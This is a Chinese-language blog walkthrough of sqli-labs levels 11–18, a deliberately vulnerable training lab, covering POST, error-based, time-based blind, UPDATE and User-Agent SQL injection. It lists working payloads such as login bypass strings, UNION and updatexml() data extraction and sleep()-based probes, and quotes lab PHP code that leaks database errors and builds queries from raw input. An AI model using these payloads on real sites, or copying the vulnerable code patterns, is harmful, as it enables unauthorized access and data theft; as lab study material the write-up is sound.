sqli-labs

sql注入思路

POST注入

post就是数据从客户端提交 到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交, 提交到服务器后服务器再进行验证

1. 基于提示的post注入

此种注入需要搭配BP使用,显示位有效位等通过抓包查看http消息主体

1.1 Less-11(回显/错误提示)

1.1.1 找注入点

输入万能密码:

admin' //出错
admin' and 1=1# //注入成功
admin' or '1'='1#  //万能密码
密码随意

1.1.2 爆库

-1' union select 1,database()#
密码随意

1.1.3 爆表

-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#
密码随意

爆列爆数据操作同get sql注入(参阅sqli-labs1)

1.2 Less-12(回显/错误提示)

1.2.1 寻找注入点

admin' //正常
admin" //出错

根据错误继续测试注入点

admin") and 1=1#   注入成功

其余注入同less-11,只需把admin’ 改为admin”)即可

1.3 Less-13(错误提示)

源代码

if($row)
    {
          //echo '<font color= "#0000ff">';    

          echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        //echo " You Have successfully logged in " ;
        echo '<font size="3" color="#0000ff">';    
        echo "<br>";
        //echo 'Your Login name:'. $row['username'];
        //echo "<br>";
        //echo 'Your Password:' .$row['password'];
        //echo "<br>";
        echo "</font>";
        echo "<br>";
        echo "<br>";
        echo '<img src="../images/flag.jpg"   />';    
          echo "</font>";
      }
    else  
    {
        echo '<font color= "#0000ff" font size="3">';
        //echo "Try again looser";
        print_r(mysql_error());
        echo "</br>";
        echo "</br>";
        echo "</br>";
        echo '<img src="../images/slap.jpg"   />';    
        echo "</font>";  
    }
}

?>

由上可知显示数据库错误,考虑盲注,且有错误提示,考虑updatexml()注入

1.3.1 找注入点

admin' //出错,提示加括号
admin')  //出错
admin')# //不显示错误,可确定注入点为admin')

1.3.1.2 爆库

-1') and updatexml(1,concat(0x7e,database(),0x7e),1)#4

其他类似get sql注入中的基于错误的盲注

1.4 Less-14

注入点为admin’ ,其余同13

2. 基于时间的盲注

此种情况下,没有错误提示,也没有回显

2.1 Less-15

2.1.1 找注入点

admin' and if(1=2,1,sleep(5))#  //延迟5s,找到注入点

2.1.2 猜测数据库

admin' and if(left(database(),1)>'h',1,sleep(5))#  //此处数据库名第一个字母为s,所以会延迟5s

其余同get sql注入基于布尔的盲注

2.2 Less-16

2.2.1 找到注入点

admin") and if(1=2,1,sleep(5))#  //延迟,找到注入点

其余同less-15

3. update注入

3.1 Less-17

3.1 找注入点

如用户更换密码,这种场景属于update注入。注入点在密码栏上

password: 1' //报错
1‘# //正常

综上,sql注入点在1’

3.2 爆库

在本关中无回显,有错误提示,可以用updatexml()

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

其余同updatexml(),基于错误的盲注

4. http请求注入

寻找http其他可注入点进行注入

4.1 Less-18

查看源码

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

username和password都采用了check_input的方法,所以无法进行注入,但在源码中还有一处sql语句:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

于是此处可采用修改User-Agent的方式来进行注入

没有回显


   转载规则


《sqli-labs》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录